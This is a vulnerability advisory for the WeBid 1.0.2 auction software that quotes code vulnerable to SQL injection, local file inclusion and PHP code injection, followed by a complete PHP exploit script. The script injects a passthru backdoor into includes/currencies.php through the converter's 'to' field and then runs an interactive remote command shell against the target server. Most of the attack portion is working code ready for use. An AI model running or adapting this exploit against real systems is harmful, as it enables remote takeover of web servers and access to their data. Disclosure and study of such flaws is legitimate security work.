WeBid 1.0.2 - 'converter.php' Remote Code Execution

<?php

/*

	------------------------------------------------------------
	WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit
	------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	link.....: http://www.webidsupport.com/
    
	
	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.
	
	
	[-] Vulnerable code to SQL injection in feedback.php:
	
	154.	$query = "SELECT title FROM " . $DBPrefix . "auctions WHERE id = " . $_REQUEST['auction_id'] . " LIMIT 1";
	155.	$res = mysql_query($query);
	156.	$system->check_mysql($res, $query, __LINE__, __FILE__);
	157.	$item_title = mysql_result($res, 0, 'title');
	
	Input passed through $_REQUEST['auction_id'] isn't properly sanitised before being used in the SQL query at line 154.

	[-] Vulnerable code to SQL injection (works with magic_quotes_gpc = off) in logout.php:

	21.	if (isset($_COOKIE['WEBID_RM_ID']))
	22.	{
	23.	        $query = "DELETE FROM " . $DBPrefix . "rememberme WHERE hashkey = '" . $_COOKIE['WEBID_RM_ID'] . "'";
	24.	        $system->check_mysql(mysql_query($query), $query, __LINE__, __FILE__);
	25.	        setcookie('WEBID_RM_ID', '', time() - 3600);
	26.	}

	Input passed through $_COOKIE['WEBID_RM_ID'] isn't properly sanitised before being used in the SQL query at line 23.

	
	[-] Vulnerable code to SQL injection (works with magic_quotes_gpc = off) in user_login.php:

	84.			if (isset($_COOKIE['WEBID_ONLINE']))
	85.			{
	86.				$query = "DELETE from " . $DBPrefix . "online WHERE SESSION = '" . $_COOKIE['WEBID_ONLINE'] . "'";
	87.				$system->check_mysql(mysql_query($query), $query, __LINE__, __FILE__);
	88.			}

	Input passed through $_COOKIE['WEBID_ONLINE'] isn't properly sanitised before being used in the SQL query at line 86.

	[-] Vulnerable code to arbitrary PHP code jnjection (works with magic_quotes_gpc = off) in /includes/converter.inc.php:

	61.	function buildcache($newaarray)
	62.	{
	63.	        global $include_path;
	64.	
	65.	        $output_filename = $include_path . 'currencies.php';
	66.	        $output = "<?php\n";
	67.	        $output.= "\$conversionarray[] = '" . time() . "';\n";
	68.	        $output.= "\$conversionarray[] = array(\n";
	69.	
	70.	        for ($i = 0; $i < count($newaarray); $i++)
	71.	        {
	72.	                $output .= "\t" . "array('from' => '" . $newaarray[$i]['from'] . "', 'to' => '" . $newaarray[$i]['to'] . "', 'rate' => '" . $newaarray[$i]['rate'] . "')";
	73.	                if ($i < (count($newaarray) - 1))
	74.	                {
	75.	                        $output .= ",\n";
	76.	                }
	77.	                else
	78.	                {
	79.	                        $output .= "\n";
	80.	                }
	81.	        }
	82.	
	83.	        $output .= ");\n?>\n";
	84.	
	85.	        $handle = fopen($output_filename, 'w');
	86.	        fputs($handle, $output);
	87.	        fclose($handle);
	88.	}

	Input passed to buildcache() function through $_POST['from'] or $_POST['to'] isn't properly sanitised before being
	written to currencies.php file, this can lead to arbitrary PHP code injection.

	[-] Vulnerable code to LFI (works with magic_quotes_gpc = off) in /includes/converter.inc.php:

	18.	if (isset($_GET['lan']) && !empty($_GET['lan']))
	19.	{
	20.	        if ($user->logged_in)
	21.	        {
	22.	                $query = "UPDATE " . $DBPrefix . "users SET language = '" . mysql_real_escape_string($_GET['lan']) . "' WHERE id = " . $user->user_data['id'];
	23.	        }
	24.	        else
	25.	        {
	26.	                // Set language cookie
	27.	                setcookie('USERLANGUAGE', $_GET['lan'], time() + 31536000, '/');
	28.	        }
	29.	        $language = $_GET['lan'];
	30.	}
	31.	elseif ($user->logged_in)
	32.	{
	33.	        $language = $user->user_data['language'];
	34.	}
	35.	elseif (isset($_COOKIE['USERLANGUAGE']))
	36.	{
	37.	        $language = $_COOKIE['USERLANGUAGE'];
	38.	}
	39.	else
	40.	{
	41.	        $language = $system->SETTINGS['defaultlanguage'];
	42.	}
	43.	
	44.	if (!isset($language) || empty($language)) $language = $system->SETTINGS['defaultlanguage'];
	45.	
	46.	include $main_path . 'language/' . $language . '/messages.inc.php';

	Input passed through $_GET['lan'] or $_COOKIE['USERLANGUAGE'] parameter isn't properly sanitised before

	being used to include files on line 46. This can be exploited to include arbitrary local files.

	[-] Information leak vulnerability into /logs directory, cause anyone can read cron.log and error.log


	[-] Disclosure timeline:

	[19/06/2011] - Vulnerabilities discovered
	[19/06/2011] - Vendor contacted
	[20/06/2011] - Vendor contacted again
	[21/06/2011] - No response from vendor
	[21/06/2011] - Issue reported to http://sourceforge.net/apps/mantisbt/simpleauction/view.php?id=34
	[22/06/2011] - Issue reported to http://www.webidsupport.com/forums/project.php?do=issuelist&projectid=1
	[22/06/2011] - Vendor responsed and released patches: http://www.webidsupport.com/forums/showthread.php?3892
	[04/07/2011] - Public disclosure

*/

error_reporting(E_ERROR);
set_time_limit(0);

if (!extension_loaded("curl")) die("cURL extension required\n");

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

function http_post($page, $data)
{	
	global $ch, $url;
	
	curl_setopt($ch, CURLOPT_URL, $url.$page);
	curl_setopt($ch, CURLOPT_POST, true);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

	return curl_exec($ch);
}

print "\n+----------------------------------------------------------------------+";
print "\n| WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit by EgiX |";
print "\n+----------------------------------------------------------------------+\n";

if ($argc < 2)
{
	print "\nUsage......: php $argv[0] <url>\n";
	print "\nExample....: php $argv[0] https://localhost/";
	print "\nExample....: php $argv[0] http://localhost/webid/\n";
	die();
}

$url = $argv[1];

$code = rawurlencode("\0'));print('_code_');passthru(base64_decode(\$_POST['c'])//");
http_post("converter.php", "action=convert&from=USD&to={$code}");

while(1)
{
	print "\nwebid-shell# ";
	if (($cmd = trim(fgets(STDIN))) == "exit") break;
	preg_match("/_code_(.*)/s", http_post("includes/currencies.php", "c=".base64_encode($cmd)), $m) ? print $m[1] : die("\n[-] Exploit failed\n");
}
?>